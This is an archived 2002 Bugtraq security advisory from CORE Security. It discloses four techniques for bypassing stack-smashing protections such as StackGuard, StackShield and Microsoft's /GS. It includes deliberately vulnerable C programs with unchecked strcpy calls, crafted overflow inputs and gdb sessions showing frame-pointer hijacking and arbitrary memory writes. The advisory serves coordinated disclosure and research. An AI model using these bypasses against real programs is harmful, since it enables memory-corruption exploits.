CORE-20020409: Multiple vulnerabilities in stack smashing protection technologies

From: Iván Arce (core.lists.bugtraq@core-sdi.com)
Date: Tue Apr 23 2002 - 15:44:51 PDT

  • Next message: Wietse Venema: "Re: trusting user-supplied data (was Re: FreeBSD Security Advisory FreeBSD-SA-02:23.stdio)"

                             CORE SECURITY TECHNOLOGIES Advisory
                                           http://www.corest.com
    
            Multiple vulnerabilities in stack smashing protection technologies
    
    
    Date Published: 2002-04-23
    
    Last Update: 2002-04-23
    
    Advisory ID: CORE-20020409
    
    Bugtraq ID: Non-assigned yet
    
    CVE CAN: Non-assigned yet
    
    Title: Multiple vulnerabilities in stack smashing protection technologies.
    
    Class: Design limitation, Implementation flaw
    
    Remotely Exploitable: Yes
    
    Locally Exploitable: Yes
    
    Vendors contacted: 2002-04-15
     - Immunix: Yes
     - Microsoft: Yes
     - Stack Smashing Protection (SSP) formerly ProPolice: Yes
     - StackShield: No, all attempts to notify the maintaners via email failed.
     No other contact information was found (the website has not been
     updated since January 8th, 2000).
    
    Release Mode: COORDINATED RELEASE
    
    *Vulnerability Description:*
    
     In the past years, several technologies (in the form of software
    packages) have been developed to protect programs against exploitation
    of buffer overflow vulnerabilities. These technologies aim at detecting
    and preventing the execution of hostile code that takes advantage of
    software security vulnerabilities by overwriting a critical portion
    of a running program's memory known as the stack.
    
    The techniques used to exploit this type of vulnerabilities have been
    discussed at length in the past years and, although they have been used
    for years in malicious code, notably the famous Robert T. Morris worm in
    1988 [1], were initially introduced to the security community at large in
    the
    pioneering articles "Smashing the stack for fun and profit" [2] writen by
    Aleph1
    and "How to write buffer overflows" by Mudge.[3]
    
    Technologies to detect and prevent "stack smashing" exploit code were
    presented thereafter, notably at the 1998 USENIX Security conference [4].
    
     "Stack shielding" software have been developed on the promise of preventing
    exploitation of buffer overflow vulnerabilities that make use of the stack
    smashing techniques.
    
    Several other techniques to exploit buffer overflows that DO NOT make use
    of stack overwriting or code execution on the stack have be presented
    during the past years.
    
    Techniques that exploit vulnerabilities by overwriting or otherwise abusing
    other memory portions of a running program are described in Solar Designer's
    "Getting around non-executable stack (and fix)" [5],  "Advanced
    return-into-lib(c)
    exploits(PaX case study)" [6] and "w00w00 on Heap Overflows" [7].
    
     However, for the purpose of this advisory we will focus on the stack
    protection
    mechanisms and claim the current technologies do not provide adecuate
    protection:
    
    Stack shielding protections have been missunderstood, they only protect a
    particular type of stack smashing exploitation, namely return address
    overwrites,
    NOT generic stack smashing attacks as they claim.
    
     This has been demostrated in the past, as in "Bypassing StackGuard And
    StackShield" [8]  and "Vulnerability in ImmuniX OS Security Alert:
    StackGuard
    1.21 Released" [9]
    
     We studied the three most visible "stack shielding" technologies:
    
     -Wirex StackGuard (http://www.immunix.com) and
     -StackShield (http://www.angelfire.com/sk/stackshield/download.html)
     -Stack Smashing Protection (SSP, formerly ProPolice), from Hiroaki Etoh
      (http://www.trl.ibm.com/projects/security/ssp/)
    
     As well as the recently introduced /GS stack protecting mechanism
    incorporated into Microsoft's Visual C++ .NET as part of the Visual Studio
    .NET
    product family. Information about the feature and details on how it works
    are available
    at: http://go.microsoft.com/fwlink/?LinkId=7260
    
    We discovered that all of them present basic design limitations as well as
    some implementation flaws.
    
     Our conclusion is that although "stack shielding" technologies present a
    valuable mean to prevent execution of certain forms of malicious code, those
    technologies should not be thought as a solution to the problem of buffer
    overflow
    vulnerabilities in general and not even as a solution to some simple stack
    smashing
    techniques used to exploit those vulnerabilities.
    
    Stack shielding mechanims do not suffice to ameliorate the effects of badly
    written software and could give a false sense of security of devastating
    effects, if not
    considered as part of a general security strategy that includes secure
    design
    methodologies, secure programming practices, strict and well defined
    security testing
    processes and the implementation of fixes and patches as well as the use of
    ad hoc
    technologies to prevent exploitation of existing vulnerabilities, publicy
    known or otherwise.
    
    
    *Vulnerable Packages:*
    
     - StackShield up to, and including, v0.7-beta  is vulnerable to #1, #3 and
    #4
    
     - StackGuard  1.2  and 2.0.1 (included in Immunix 7.0) is vulnerable to all
       the described methods.
    
     - StackGuard 1.21 is not vulnerable to #2
       Other StackGuard versions were not tested and are suspected to be
       vulnerable as well.
    
     - Programs compiled with Microsoft Visual C++ .NET /GS compiler switch are
       still exploitable  by using techniques described in problem #1.
    
      Exploitation using #2, #3 and #4 is only possible if the attacker can
      guess or bruteforce the correct value of the "cookie", the existence of
    heuristics for
      doing that are not in the scope of this advisory.
    
     - SSP (ProPolice) is NOT vulnerable to any of the described exploitation
    methods.
    
    *Solution/Vendor Information/Workaround*
    
     Wirex's Immunix StackGuard.
    
     Wirex offical response is:
     The upcoming next release of StackGuard,version 3.0 fixes problems #2, #3
     and #4 by moving the terminator canary to a position between the frame
     pointer  and all local variables.
    
     Problem #1 is not part of StackGuard's threat model, that is StackGuard is
     not designed to protect against exploitation before the vulnerable function
     exits.
    
     Microsoft Visual Studio .NET /GS
     Refer to Microsoft's white paper describing the design and implementation
     of the /GS switch:  http://go.microsoft.com/fwlink/?LinkId=7260
    
     StackShield
     N/A
    
     ProPolice/SSP
     SSP is NOT vulnerable to any of the problems described.
    
    *Credits:*
    
    This vulnerabilities were discovered and researched by Gerardo Richarte
    from CORE Security Technologies. Pionering work and ideas were introduced
    by Richarte and many others (see the references section) in various
    information
    security mailing lists and publications as far back as 1999.
    We wish to thank Crispin Cowan and Seth Arnold from Wirex (Immunix) for
    their quick response addressing this report.
    
    
    *Technical Description - Exploit/Concept Code*
    
    As stated previously, we have identified two basic design limitations in
    the current stack smashing technologies:
    
    First, they only protect data located in memory "above" the first
    safeguarded address.
    
    Second, (and we think this is a more serious limitation) they only check
    for attacks after the called vulnerable function  finishes, right before
    returning from it so exploitation is possible BEFORE exiting the vulnerable
     function.
    
     In addition to this, StackGuard and StackShield have an implementation
    flaw:
    
    They protect the stack starting at the return address, leaving the saved
    frame pointer unprotected.
    
    In our study we found four different tricks to bypass stack smashing
    protections, the first one is an extension of that described in the
    previously refered
    articles and is a direct consecuence of design limitations. The other three
    result from
    abusing frame pointer overwrites, and may be corrected introducing some
    changes
    in the protection mechanisms.
    
    
    1) Control of function's arguments
    
    In [8] and [9] a method to exploit stack based buffer overflows on stack
    protected
    programs is presented. In the example, a local pointer is used to write to
    arbitrary
    memory locations within the program's memory space. This technique can be
    extended
    to exploit the fact that in standard C compiled programs, function arguments
    are located
    in the stack at "higher" addresses than the return address:
    
      lower addresses
            [   local variables    ]
            [ saved frame pointer  ]
            [ CANARY (0x000dff0a)  ]
            [    return address    ]
            [ function's arguments ]
      higher addresses
    
    
    Controlling functions arguments can effectively turn a stack protected
    function into an
    exploitable program by turning the arguments into a
    "write-anything-anywhere" primitive.
    Once the attacker has the ability to "write anything, anywhere" it is
    trivial to bypass stack
     protection mechanisms.
    
     The following program will function as proof of concept code:
    
    gera@vaiolent:~src/sg/tests$ cat >sg1.c <<_EOF_
    /* sg1.c                                                   *
     * specially crafted to feed your brain by geraat_private */
    
    int func(char *msg) {
        char buf[80];
    
        strcpy(buf,msg);
        // toupper(buf);        // here just to give func() "some sense"
        strcpy(msg,buf);
    }
    
    int main(int argv, char** argc) {
            func(argc[1]);
    }
    _EOF_
    
    gera@vaiolent:~src/sg/tests$ make sg1
    cc     sg1.c   -o sg1
    gera@vaiolent:~src/sg/tests$ gdb sg1
    GNU gdb 19990928
    Copyright 1998 Free Software Foundation, Inc.
    (gdb) p "Tests performed on Immunix 7.0, for StackShield remove "Cnry"
    (gdb) r
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaa_EBPCnry_RETbbbb
    (gdb) bt
    #0  0x40094154 in strcpy () from /lib/libc.so.6
    #1  0x8048469 in func ()
    (gdb) x/3i $pc-3
    0x40094151 <strcpy+17>: mov    (%edx),%al
    0x40094153 <strcpy+19>: inc    %edx
    0x40094154 <strcpy+20>: mov    %al,(%ecx,%edx,1)
    (gdb) x/s $edx
    0xbffff95d: 'a' <repeats 79 times>, "_EBPCnry_RETbbbb"
    (gdb) p/x $ecx+$edx
    $2 = 0x62626262
    (gdb) p "Now we can write anything anywhere"
    
    
    2) Returning with an altered frame pointer
    
    In standard frame pointer overwrite exploits [10], control over the the
    frame
    pointer is gained after the first return from the vulnerable function.
    Shortly before
    a second return control is gained over the execution flow of the vulnerable
    program,
    since the attacker can now control the stack pointer and therefore the
    address of where
    the function will return to.
    
     Using this technique against stack protected programs does not lead to
    staight foward
     exploitation of vulnerabilities, however design limitations can provide an
    effective
     way to use it.
     In this case we will use StackGuard's protection as an example of
    exploitability.
     StackGuard uses a protection mechanism called "terminator canary" that
    prevents
    overwriting the return address. However an attacker can overwrite *up to the
    terminator
    canary without modifying it* and thus gain control over the frame pointer.
    
     The following program serves as a proof of concept code:
    
    gera@vaiolent:~src/sg/tests$ cat >sg2.c <<_EOF_
    /* sg2.c                                                   *
     * specially crafted to feed your brain by geraat_private */
    
    void func(char *msg) {
        char buf[80];
        strcpy(buf,msg);
    }
    
    int main(int argv, char** argc) {
        func(argc[1]);
    }
    _EOF_
    
    gera@vaiolent:~src/sg/tests$ make sg2
    cc     sg2.c   -o sg2
    gera@vaiolent:~src/sg/tests$ gdb sg2
    GNU gdb 19990928
    Copyright 1998 Free Software Foundation, Inc.
    (gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,
    it's ok"
    (gdb) r
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaa`echo -e '1111\x0d\xff'`^J
    " "`echo -e 'BBBB\x0d\xff'`^J
    " "`echo -e 'BBBB\x0d\xff'`^J
    "
    Program received signal SIGSEGV, Segmentation fault.
    0x80486b1 in main ()
    (gdb) x/i $pc
    0x80486b1 <main+25>:     leave
    (gdb) p/x $ebp
    $2 = 0x31313131
    (gdb) x/20x $sp
    ...
    ...
    0xbffffc5c:      0x42424242      0x000aff0d      ...
    (gdb) p "You need to locate 0x42424242 in stack (0x42424242 corresponds to
    'BBBB')
    (gdb) p "Now run it again changin '1111' for the address you just found"
    (gdb) r
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaa`echo -e '\x5c\xfc\xff\xbf\x0d\xff'`^J
    " "`echo -e 'BBBB\x0d\xff'`^J
    " "`echo -e 'BBBB\x0d\xff'`^J
    "
    
    Program received signal SIGSEGV, Segmentation fault.
    0x42424242 in ?? ()
    (gdb) p "As you can see, we hooked the execution flow"
    
    
    3) Further control over local variables
    
     Overwriting the least significant byte in the frame pointer with zero
    (0x00) will move
    it at most 255 bytes ahead into stack space. Usually this is exploited by
    making
    the new stack have a new return address, but that would be detected or
    ignored
    on stack shielded programs.
    
     However, what an attacker can do is control the last byte of the caller's
    frame pointer, effectively controlling all of its local variables and
    function's
    arguments. As we showed in #1 this can lead to direct bypassing of the stack
    protection mechanisms. In this case we expand the technique described
    in #1 and realize that an attacker can control all the local variables and
    arguments of the *caller function* without modifying any return address or
    canary.
    
     The following program serves as a proof of concept code:
    
    gera@vaiolent:~src/sg/tests$ cat >sg3.c <<_EOF_
    /* sg3.c                                                   *
     * specially crafted to feed your brain by geraat_private */
    
    char *read_it() {
        char buf[256];
    
        buf[read(0,buf,sizeof buf)]=0;
        return strdup(buf);
    }
    
    int main(int argv, char **argc) {
        char *msg = malloc(1000);
    
        snprintf(msg,999,"User: %s",read_it());
    }
    _EOF_
    
    gera@vaiolent:~src/sg/tests$ make sg3
    cc     sg3.c   -o sg3
    gera@vaiolent:~src/sg/tests$ ulimit -c 1111111111
    gera@vaiolent:~src/sg/tests$ perl -e 'print "A"x256' | ./sg3
    Segmentation fault (core dumped)
    gera@vaiolent:~src/sg/tests$ gdb sg3 core
    GNU gdb 19990928
    Copyright 1998 Free Software Foundation, Inc.
    #0  _IO_vsnprintf (string=0x41414141 <Address 0x41414141 out of bounds>,
        maxlen=999, format=0x8048922 "User: %s", args=0xbffffac4)
        at vsprintf.c:127
    127     vsnprintf.c: No such file or directory.
    (gdb) p "If you take a look an vsnprintf() arguments, you'll see we can
    write anywhere in memory."
    
    This example is valid for StackGuard and StackShielded programs.
    If StackShield is used with the option to terminate execution when an
    attack is detected, we only need to set as new return address the original
    return address, so it doesn't detect a change.
    
    
    4) Pointing the caller's frame to the Global Offset Table (GOT)
    
     Finally, this technique is a variation a bit more complex than what was
    presented before.
    In standard compiled C code, when not using -fomit-frame-pointer compiler
    switch in GCC or equivalents in other compilers, all local variables are
    accessed relative to the frame pointer, then if an attacker gains full
    control
    over it, she can arbitrarly choose where in memory local variables are
    placed,
    this is the trick used in #3 but a slight variation introduces new
    posibilities.
    
    By using control over the frame pointer to place local variables and
    function
    arguments on the Global Offest Table memory space (OR MANY OTHER
    MEMORY PORTIONS, i.e. heap allocated memory) an attacker can effectively
    exploit vulnerable programs bypassing stack protection mechanisms.
    
    
    The following program serves as a proof of concept code:
    
    gera@vaiolent:~src/sg/tests$ cat >sg6.c <<_EOF_
    /* sg6.c                                                   *
     * specially crafted to feed your brain by geraat_private */
    
    // XXX: Add real encryption here
    #define decrypt(dest,src)     strcpy(dest,src)
    
    int is_new_user = 0;
    
    int get_username(char *user) {
            char temp[80];
    
            decrypt(temp,user);
    
            // XXX: add some real checks in the future
            if (strcmp(temp,"gera")) is_new_user = 1;
    
            return strdup(temp);
    }
    
    int main(int argv, char **argc) {
        char *user_name;
    
        user_name = get_username(argc[1]);
        return 0;
    }
    _EOF_
    
    gera@vaiolent:~src/sg/tests$ make sg6
    cc     sg6.c   -o sg6
    gera@vaiolent:~src/sg/tests$ gdb sg6
    GNU gdb 19990928
    Copyright 1998 Free Software Foundation, Inc.
    (gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,
    it's ok"
    (gdb) r
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaBBBB`echo -e '\x0d\xff'`^J
    "
    Program received signal SIGSEGV, Segmentation fault.
    0x8048750 in main ()
    (gdb) x/i $pc
    0x8048750 <main+28>:    mov    %eax,-4(%ebp)
    (gdb) p/x $ebp
    $1 = 0x62626262
    (gdb) x/s $eax
    0x80499f0:        'a' <repeats 80 times>, "bbbb\r˙\n"
    (gdb) p "And now, we are ready to write-anything-anywhere"
    
     The same comments as in 3) regarding StackShield exploitation applies.
    
    
    Microsoft's  /GS protection mechanism is vulnerable to #1 but it is not
    straight forward to use any of the other 3 methods of exploitation because
    the frame pointer is protected with a random canary (known as "COOKIE" in
    Microsoft documentation).
    The cookie is generated in the seccinit.c file of the CRT source files and
    provided with Visual C++ .NET platform.
    
    StackGuard v1.21 introduced the use of a random XOR canary for protection,
    but this option is not present on v2.0.1 (as checked browsing source code).
    While the random XOR canary protection would have made some of the
    attacks (#3 and #4) not so straight forward, it is still possible to abuse
    the
    design limitations and bypass protection if a brute force approach is taken
    covering all possible values for a one byte change of the random canary
    value, this gives the attacker a 1/256 chance of bypassing the protection,
    more than enough for a sucessfull attack in most cases.
    
    Note that using an XOR canary as in StackGuard 1.21, problem #2 is
    prevented.
    
    StackShield up to 0.7beta does not appear to be vulnerable to #2  but it is
    vulnerable to the other explotation techniques.
    
    A detailed paper describing the protection mechanisms and all of our
    findings will be made available shortly after publication of this advisory
    at http://www.corest.com/corelabs/papers
    
    
    *References*
    
    [1] - The Morris Worm -
          http://www.wikipedia.com/wiki/Morris+Worm
    
    [2] - Smashing the stack for fun and profit - Aleph1
          http://community.corest.com/~juliano/bufo.html
        (English - Spanish -Rusian)
    
    [3] - How to write buffer overflows - Mudge.
          http://community.corest.com/~juliano/l0pht-howtowrite-bof.html
    
    [4] - Automatic Detection and Prevention of Buffer-Overflow Attacks
          Crispin Cowan, Calton Pu, David Maier, Heather Hinton, Peat Bakke,
          Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang,
          7th USENIX Security Symposium
          http://www.immunix.org/StackGuard/usenixsc98.pdf
    
    [5] - Getting around non-executable stack (and fix) - Solar Designer
          http://online.securityfocus.com/archive/1/7480
    
    [6] - The advanced return-into-lib(c) exploits: PaX case study - Nergal
          http://www.phrack.com/show.php?p=58&a=4
    
    [7] - w00w00 on Heap Overflows - Shock and w00w00
          http://www.w00w00.org/files/articles/heaptut.txt
    
    [8] - Bypassing StackGuard And StackShield - Bulba and Kil3r
          http://www.phrack.org/show.php?p=56&a=5
    
    [9] - Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21 Released -
          Gerardo Richarte
          http://online.securityfocus.com/archive/1/34225
    
    [10]- The Frame Pointer Overwrite - klog
          http://www.phrack.com/show.php?p=55&a=8
    
    
    *DISCLAIMER:*
    
    The contents of this advisory are copyright (c) 2001 CORE Security
    Technologies and may be distributed freely provided that no fee is charged
    for this distribution and proper credit is given.
    
    $Id: stack-protection-vulnerabilities-advisory.txt,v 1.6 2002/04/23 22:41:11
    iarce Exp $
    ---
    
    "Understanding. A cerebral secretion that enables one having it to know
     a house from a horse by the roof on the house,
     Its nature and laws have been exhaustively expounded by Locke,
     who rode a house, and Kant, who lived in a horse." - Ambrose Bierce
    
    Ivan Arce
    CTO
    CORE SECURITY TECHNOLOGIES
    
    44 Wall Street - New York, NY 10005
    Ph: (212) 461-2345
    Fax: (212) 461-2346
    http://www.corest.com
    
    PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836  B25D 207B E78E 2AD1 F65A
    
    
    
    --- for a personal reply use: =?iso-8859-1?Q?Iv=E1n_Arce?= <ivan.arceat_private>
    



    This archive was generated by hypermail 2b30 : Wed Apr 24 2002 - 10:14:56 PDT